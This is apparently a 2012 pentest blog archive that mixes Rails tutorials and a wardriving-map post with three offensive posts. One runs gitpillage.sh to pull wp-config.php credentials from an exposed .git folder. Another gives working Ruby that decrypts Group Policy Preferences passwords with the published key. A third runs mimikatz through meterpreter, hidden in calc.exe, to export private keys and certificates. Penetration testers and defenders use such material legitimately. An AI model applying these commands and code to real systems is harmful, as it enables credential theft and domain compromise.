Tuesday, October 30, 2012

Basics of Rails Part 4

In this portion of the series, we will create the foundation for a login page and deal a little bit more with the Model portion of MVC.

We need to be able to assign the following information to a user.
  • First Name
  • Last Name
  • Email Address
  • Password
  • Admin (true/false)
This is where the Model comes in. Before we jump into that, let's create a Users controller similar to the way we create a Home controller in the last post.

Note that the "new" following Users simply states that a "new" action (method) will be automatically defined in the controller for you. 
Also, we should briefly cover how you connect to a database with Rails. In this tutorial, we will stick with the default configuration/database, SQLite. Navigate to config/database.yml:

If you remember Part 2 of the series, we covered the 3 default modes of Rails. This is the reason there are 3 different database configurations in this file. It is useful as your local development environment database will differ from Production (ex: database username, password, and host would/should be different).

When we are running in development mode, the database we will be using will be db/development.sqlite3 as specified on line 8. The naming convention refers to it's location and filename.

So nothing really to change there, let's go ahead and create the model.

Command(s) Breakdown:
  • rails - Invoking a Rails command
  • g - Short for generate, used to generate Rails items
  • model - specifies that we are generating a model
  • Users - the name of the model which, actually refers to both the model (app/models/users.rb) and a table in the database
  • first_name:string (etc.) - The first portion is the name of the column in the table and the second part (string) identifies the variable type to be stored in the database.
Now, upon generation, the model is created but the db table/columns do not yet exist. To make this happen, let's run rake db:migrate.

To give you a visual of what was just created...

Note the table "users" has been created along with the columns we identified during model creation.
This is great and later if you'd like to add an additional column to your local db, you can. What if you'd like to add a column so that the next person to download your code and run rake db:migrate also has the new column? Navigate to db/migrate/ and you'll see a file that ends in _create_users.rb. This is where you would make that change. Do NOT edit the db/schema.rb file for that purpose (this is overwritten by the migrate files).

Next, create a sessions controller:

Time to add code to the session controller (app/controllers/sessions_controller.rb).

Notice the new and create actions. The gist of this, AFAIK, is that Rails uses new to instantiate a new instance of the Model object and create will actually save data and perform some of the more permanent actions. For our purposes, the "GET" request to the sessions#new and the new.html.erb file will show a login form. Once 'POST'-ing from that login form, the create method will receive the email and password parameters.

Code Breakdown:

Line 6 - Calls a method in the User model (authenticate).
Line 8 - Extract a user ID from the user's session
Line 9 - redirects to a home path once authenticated
Line 11 - A user did not authenticate correctly and we want to send them back to the login page.

The next thing we need to discuss are the changes to your routes.rb file:

Lines 3 - The first portion (ex: logout) identifies a request for that resources, goes to sessions#destroy.
Line 8 - Our root has changed to the login page (app/views/sessions/new.html.erb)
Line 10-12 - We've identified resources (controllers) and instantiated some default routes. 7 to be exact:

You can run `rake routes` to see these.

7 routes automatically created for the actions: index, create, new, edit, show, update, destroy
Note that 7 routes were not manually defined by you, in your routes file but rather, Rails created them for you. This is because you specified `resources :<controller name>` in your routes.rb file. You can create views and controller actions whose names match the names of those 7 defined routes (index, create, etc.). They automagically have routes!

Code breakdown:

Line 5 - form_tag is a Rails method, notice how we encapsulate it in <%= %>. This is how we separate Rails code from regular HTML. You may also see <% %>.
Line 7, 8, 11, 12 - Rails methods that are converted by Rails to define labels and input fields.
Line 14 - submit_tag, again, a Rails method. Note the {:class => "btn btn-primary"}. This is a Twitter-Boostrap definition you can find here.

Now fire up your instance, you should see the following:

Note: You can't necessarily use this yet but it looks nice :-)
This was a lot of information (read: lengthy post) and while the login does not yet work, we will wrap all of this up in Part 5 of the series. While part 5 of this series will walk you through the details of the code, you can always skip ahead and grab it from this Railscast (if you'd like to finish up).



Monday, October 22, 2012

.git you some with DVCS-Pillage

Ron over at SkullSecurity put out a post on  Using "Git Clone" to get Pwn3D

Worth a read if you havent.  Unfortunately the key to his post relied on wget and directory listings making it possible to download everything in the /.git/* folders.

unfortunately(?) I dont run into this too often. What i do see is the presence of the /.git/ folder sometimes the config or index files it there but certainly no way to know what's in the object folders (where the good stuff lives)[or so i thought].

So i posed the following to twitter

to which i got two great replies.

The first one pointed me to:
(thanks Kos)

and the second was a shortcut to using the tool by the author (thanks Adam)

DVCS is pretty handy.  With it you can pillage accessible GIT, GS and BZR repos.  Similar functionality for svn already exists in metasploit 

Does it work?  yes mostly...an example:

user@ubuntu:~/pentest/DVCS-Pillage$ ./gitpillage.sh www.site.com/.git/
Initialized empty Git repository in /home/user/pentest/DVCS-Pillage/www.site.com/.git/
Getting refs/heads/master
Getting objects/ef/72174d7a5d893XXXXXXXXXXXXXXXXXXXX
Getting index
Getting .gitignore
curl: (22) The requested URL returned error: 404
About to make 245 requests to www.site.com; This could take a while
Do you want to continue? (y/n)y
Getting objects/01/f0d130adf04d66XXXXXXXXXXXXXXXX9e4ddb41
Getting objects/49/403ecc2d8a343da9XXXXXXXXXXXXXXX3f094d9
Getting objects/d3/1195ab0e695f8b89XXXXXXXXXXXXXXXXXa3af5
Getting objects/f9/b926f07XXXXXXXXXXXXXXXXXXXX567cf438c6a
Getting objects/57/78a12e2edebXXXXXXXXXXXXXXXXXXX3f3a0e8d
trying to checkout files
error: git checkout-index: unable to read sha1 file of wp-register.php (caad4f2b21c37bXXXXXXXXXXXXXXX81c7949ec4f74e)

#### Potentially Interesting Files ####

wp-admin/export.php - [CHECKED OUT]
wp-admin/includes/export.php - [CHECKED OUT]
wp-admin/setup-config.php - [CHECKED OUT]
wp-config-sample.php - [CHECKED OUT]
wp-config.php - [CHECKED OUT]
wp-settings.php - [CHECKED OUT]

anything useful in there?

user@ubuntu:~/pentest/DVCS-Pillage/www.site.com$ more wp-config.php
 * The base configurations of the WordPress.
 * This file has the following configurations: MySQL settings, Table Prefix,
 * Secret Keys, WordPress Language, and ABSPATH. You can find more information b
 * visiting {@link http://codex.wordpress.org/Editing_wp-config.php Editing
 * wp-config.php} Codex page. You can get the MySQL settings from your web host.
 * This file is used by the wp-config.php creation script during the
 * installation. You don't have to use the web site, you can just copy this file
 * to "wp-config.php" and fill in the values.
 * @package WordPress

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'site_wordpress');

/** MySQL database username */
define('DB_USER', 'site_wp');

/** MySQL database password */

another way to turn a low to pwned :-)

Friday, October 19, 2012

Group Policy Preferences and Getting Your Domain 0wned

So i put this link out on twitter but forgot to put it on the blog.

I did a talk at the Oct 20012 NovaHackers meeting on exploiting 2008 Group Policy Preferences (GPP) and how they can be used to set local users and passwords via group policy.

 I've run into this on a few tests where people are taking advantage of this exteremely handy feature to set passwords across the whole domain, and then allowing users or attackers the ability to decrypt these passwords and subsequently 0wning everything :-)

 So here are the slides:

Exploiting Group Policy Preferences from chrisgates

Blog post explaining the issue in detail:

Metasploit post module:

PowerShell module to do it:

I ended up writing some ruby to do it (the blog post has some python) because the metasploit module was downloading the xml file to loot but taking a poop prior to getting to the decode part.  now you can do it yourself:

require 'rubygems'
require 'openssl'
require 'base64'

encrypted_data = "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw"

def decrypt(encrypted_data)
padding = "=" * (4 - (encrypted_data.length % 4))
epassword = "#{encrypted_data}#{padding}"
decoded = Base64.decode64(epassword)

key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
aes.key = key
plaintext = aes.update(decoded)
plaintext << aes.final
pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion

return pass

blah = decrypt(encrypted_data)
puts blah

In Action:

user@ubuntu:~$ ruby gpp-decrypt-string.rb


Wednesday, October 17, 2012

Wigle Wifi Wardriving meets Google Earth for Neat Wifi Maps

I needed to make a map the access points for a client.  Since i cant show that map, i made another using the same technique.

First take your handy dandy Android device and install  Wigle Wifi Wardriving.

It uses the internal GPS and wifi to log access points, their security level and their GPS Position.

looks like this (yup i stole these)

List of access points

Also makes a cute map on your phone

once you have the APs you can export out the "run" from the data section. yes yes, the stolen photo says "settings" but if you install it today it will say "data" there now.

With the KML export you can import that directly into google earth and make all sorts of neat maps by toggling the data.

All Access Points

Open Access Points

WEP Encrypted Access Points

That's it.



Tuesday, October 16, 2012

Basics of Rails Part 3

If you've been following along in this series you've already created a Rails application called "attackresearch, configured your Ruby/gem environment with RVM, and created a Rake task to start the application with Unicorn.

In this portion, we will create our first Rails page and configure the appropriate routes.

Now, first thing first, remove the index.html file located under the public directory:

Removing this file removes the new Rails application landing page as it is unecessary.
Fire up the server using the rake task created earlier in this series and browse to the site.


Why did this occur? Rails requires some direction from you, the developer. Where does the default or "root" page live and how do I get there?

Like any good map, you need to show a route. That being said, open config/routes.rb and take a look at what I mean:

Notice the comment? Each comment block provides instructions on mapping routes in various ways. You can delete them :-). Leave the first and last line (actual code) but remove the comments.

Now that we know where to map out the route to our destination, let's create a destination. The first thing we want to do is go to our terminal and enter the following (this only has to be done once):

Remember the twitter-bootstrap-rails gem we added in the first part of this series? We just installed it. This allows us to forego some CSS and HTML work and piggyback off those of the Twitter designers (thanks gals/guys).

Next, we will generate our first controller and view. As of right now, we don't necessarily require a model. First, here is a quick break down of MVC:

  • Model - Used for handling data resources (databases, usually).
  • View - Renders HTML content to users.
  • Controller - Code that handles the bulk of the logic and decision making.

Generating a "Home" controller:

We used --skip-stylesheets as they are unnecessary when using twitter-bootstrap
Note that a new *View* folder was created app/views/home and a controller file "app/controllers/home_controller.rb".

One thing to be aware of. The name of your controller will have `_controller.rb` appended to it. This is the standard convention.

Time to make an entry in routes.rb. The first thing we need to define is a landing page so that if you request our URL, you have a starting page. We will call it "welcome". There are a few things that have to happen:
  • Make an action inside the home controller called "welcome". 
  • Create a view page under the /app/views/home folder called "welcome.html.erb".
  • Configure the route but since this is our first, we will simply use `root :to => "<controller>#<action>"

Note: Rails does not require code within the action (method), only that it exists.

Note: Only one root route can exist.

Time to edit the welcome.html.erb...

Note that the h1 tag is has a look and feel defined by the h1 definition in Twitter's CSS.
Welcome Page
..And with that we have a website, sort of. To recap we covered generating a controller and making a view page as well as adding the action with the home_controller called "welcome".

That last thing I'll cover before the next tutorial is the flow of a request. So when you request http://localhost/ this is what is happening.

  1. The config/routes.rb file is checked to see where this request should go.
  2. Since the request is for the root page '/', it is rerouted to the Home controller and Welcome action.
  3. Immediately following any code executing in the Welcome action (none right now), the request finally lands on the view page or the last part in it's journey, welcome.html.erb.

Again, the flow is route -> controller -> view.

If you want to see what I mean, we can stop the flow from reaching the view stage by (welcome.html.erb) by rendering content at the controller. Observe:

Added the directive render :text => <some text> which stops the flow from reaching the view page and renders content itself.

The outcome of this change.

Thanks for following along, more to come in the next post as we dig a bit deeper with routes and the MVC.



Monday, October 15, 2012

More with Mimikatz (Crypto Module)

So we all know that mimikatz dumps hashes and passwords!!! from memory which is the shiznazzle.

But, now that its working in memory, you can do lots more with it. Below are the various modules

    • "standard" ; commandes de base
    • crypto ; Cryptographie et certificats
    • sekurlsa ; Dump de hashes et de mots de passes Windows
    • system ; Gestion système
    • process ; Manipulation des processus
    • thread ; Manipulation des threads
    • service ; Manipulation des services
    • privilege ; Manipulation des privilèges
    • winmine ; Manipulation du démineur de Windows XP (démonstration)
    • minesweeper ; Manipulation du démineur de Windows Vista et 7 (démonstration)
    • nogpo ; Pour éviter quelques GPO triviales
    • samdump ; Dump de SAM offline
    • inject ; Injecteur de librairies
    • ts ; Manipulations Terminal Server
    • divers ; Fonctions diverses trop petites pour s’émanciper

The Crypto module does some interesting things.  I briefly talked about stealing certificates at DerbyCon. the crypto module helps you do this.

Things you are probably intersted in are:

crypto::listkeys, crypto::listProviders, crypto::listStores, crypto::listCertificates

to identify fun stuff that you want for your own from the host.

then crypto::exportKeys and crypto::exportCertifcates

to take that stuff home.

kinda looks like this:

meterpreter > execute -H -i -c -m -d calc.exe -f mimikatz.exe -a '"crypto::listStores" exit'
Process 9904 created. Channel 20 created. mimikatz 1.0 x86 (RC)   /* Traitement du Kiwi (Sep  8 2012 15:18:27) */ // http://blog.gentilkiwi.com/mimikatz mimikatz(commandline) # crypto::listStores

mimikatz(commandline) # exit

execute -H -i -c -m -d calc.exe -f mimikatz.exe -a '"crypto::listCertificates CERT_SYSTEM_STORE_LOCAL_MACHINE My" exit'
Process 3472 created.
Channel 12 created.
mimikatz 1.0 x86 (RC)   /* Traitement du Kiwi (Sep  6 2012 04:02:46) */
// http://blog.gentilkiwi.com/mimikatz

mimikatz(commandline) # crypto::listCertificates CERT_SYSTEM_STORE_LOCAL_MACHINE My
         - sqlapps01
                Container Clé : SELFSSL
                Provider      : Microsoft RSA SChannel Cryptographic Provider
                Type          : AT_KEYEXCHANGE
                Exportabilité : OUI
                Taille clé    : 1024

mimikatz(commandline) # exit

execute -H -i -c -m -d calc.exe -f mimikatz.exe -a '"crypto::exportCertificates CERT_SYSTEM_STORE_LOCAL_MACHINE" exit'
Process 6112 created.
Channel 23 created.
mimikatz 1.0 x86 (RC)   /* Traitement du Kiwi (Sep  6 2012 04:02:46) */
// http://blog.gentilkiwi.com/mimikatz

mimikatz(commandline) # crypto::exportCertificates CERT_SYSTEM_STORE_LOCAL_MACHINE
         - MACHINENAME
                Container Clé : SELFSSL
                Provider      : Microsoft RSA SChannel Cryptographic Provider
                Type          : AT_KEYEXCHANGE
                Exportabilité : OUI
                Taille clé    : 1024
                Export privé dans  'CERT_SYSTEM_STORE_LOCAL_MACHINE_My_0_MACHINENAME.pfx' : OK
                Export public dans 'CERT_SYSTEM_STORE_LOCAL_MACHINE_My_0_MACHINENAME.der' : OK

mimikatz(commandline) # exit

once exported you download the .pfx and .der files

Saturday, October 13, 2012

Basics of Rails Part 2

In the last post, Basics of Rails Part 1, we created and ran the Rails application "attackresearch". Next,  we will change the Web Server to Unicorn as well as introduce the concept of Rake.

Something to note, Rails typically is run in three modes:
  • Test - Mode typically used for Unit Tests.
  • Development - Development environment, includes verbose errors and stack traces.
  • Production - Settings are as if you were running in this application in a production environment.
The default mode of running Rails locally on your machine is, development mode. Also, any command you enter will be run in the context of the development mode. This means both Rake tasks and Rails commands alike and also holds true for the Rails console which, can be your best friend.

Now obviously, if you've done something custom like `export RAILS_ENV=production` this would be different. Additionally, explicitly casting the mode in which something like the Rails console runs (example: rails console production) will change the default behavior or mode, rather.

What does all this mean? Well, really it means that you want to develop in development mode and run a production application in production mode. Pretty simple huh?

Time to configure for Unicorn versus the default Webrick web server. If you are asking yourself "why", the answer is fairly straightforward. Unicorn is meant for production and handles a large amount of requests better and overall,  is more configurable. For the purposes of this tutorial, we will use Unicorn for both development and production.

I want to demonstrate two ways of doing this. The first is by using a startup shell script. The other, for the purposes of an introduction to Rake tasks, will be to actually create a Rake task to start the application in lieu of a shell script.

Startup shell file:

Modify your Gemfile by uncommenting the line with the Unicorn gem. Also, while we are at it, let's uncomment the Bcrypt gem as well:

Run `bundle install`:

Make the startup script executable and fire it up:

The line `rvmsudo bundle exec unicorn $*` means...

  • rvmsudo  - Allows you to run sudo commands while maintaining your RVM environment. 
  • bundle exec = Directs bundler to execute the program which, automatically 'require'(s) all the gems in your Gemfile.
  • unicorn - Unicorn service.
  • $* - Any arguments passed to the script will be executed as part of the command inside of the script. Example: ./start.sh -p 4444 translates to - `rvmsudo bundle exec unicorn -p 4444` and would start the server on port 4444.
Alternatively, we can just easily package this up as a Rake task. A Rake task is a repeatable task that can be executed using the `rake` command.  Nothing magical, it just harnesses Ruby goodness to convert your task definitions into an executable command.

There is an excellent tutorial on Rake available via the Railscasts site. For our purposes, let's create a Unicorn rake file. Do this under /lib/tasks and use the `.rake` extension.

Presumably, you may wish to have multiple tasks available to the Unicorn namespace. For instance, if you'd like to both start and stop the Unicorn service it would be beneficial to create a namespace titled "unicorn" with multiple tasks inside it. For the purposes of this tutorial, I will only cover building a start task as you can easily expand upon this. Also, since we are running the Unicorn service in an interactive mode, you can hit ctrl+c to stop it. 

I would like to note that having a start and stop task is very beneficial if you are running Unicorn detached (non-interactive), where the service runs in the background.

Moving along, here is the task...

Lines 1 & 9 - Begin and end the unicorn namespace definition.

Line 3 - Describe the task (useful at the console).

Line 4 - Define the task with the first argument "task" and any additional definitions (comma separated) are arguments. In this example, we except a port argument. 

Line 5 - We code some logic that says, port_command will equal either an empty string or "-p <port number>" and  if a port number is not provided (nil) it will equal an empty string.

Line 6 - This is a shell command that appends the result of port_command to `rvmsudo bundle exe unicorn`.

Let's list our tasks and see if it is available:

Success! Notice how the description and command format are auto-magically taken care of for you.'

You can run this in one of two ways.

`rake unicorn:start[4444]` (starts the Unicorn service on port 444) OR....

`rake unicorn:start` (starts it on the default port, 8080)

To recap, we've shifted off of Webrick and over to Unicorn. Also, we've introduced the concept of a Rake task.

Stay tuned for more parts in this series...



Thursday, October 11, 2012

Basics of Rails Part 1

In this series, I would like to demonstrate some of the basics of building a Ruby on Rails application and how MVC (Model-View-Controller) works. We will discuss some of the security pitfalls as well. Firstly, we need to make sure the tech is understood.

That being said, in this first part of the series, let's discuss some general Ruby "stuff" that makes life a little bit easier when dealing with day to day Ruby tasks.

RVM, RVM Gemsets, and an RVM resource file.

On the surface, Ruby Version Manager (RVM) allows you to host multiple versions of Ruby on your system and easily switch between them. If you go a little deeper, you'll see that RVM also provides the ability to host multiple "Gemsets" within each version of Ruby.  This means you can create a Gemset per application and never worry about conflicting dependency versions.

One last thing to mention, you can do all of this seamlessly leveraging an .rvmrc file. When you change into the application's folder that holds an .rvmrc file, you will automatically switch Ruby versions and gemset based off the values specified in the rvm resource file (.rvmrc).

Firstly, lets choose our Ruby version as well as the name of our Gemset. I'm going to choose Ruby Enterprise Edition (already installed via $ rvm install ree) and name my Gemset after the application, "attackresearch". Shown later.

Now let's install Rails and it's required gems

Let's create the Rails application!

Now let's get the Gemfile and .rvmrc in order. I'm going to add the 'twitter-bootstrap-rails' gem and then perform a "bundle install". Whenever a change is made to your Gems, run 'bundle install' again to update the Gemfile.lock file.

The reason for twitter bootstrap will become clear later in these tutorials. Essentially, it allows us to easily create the visual aspects of the application.

Now for the .rvmrc file

Just to test that the .rvmrc file works, let's leave the directory then navigate back into it. Lastly, perform a 'gem list' to ensure our gems are available.

Now let's start it up!

Okay, that's enough for now. More to come in the next post :-)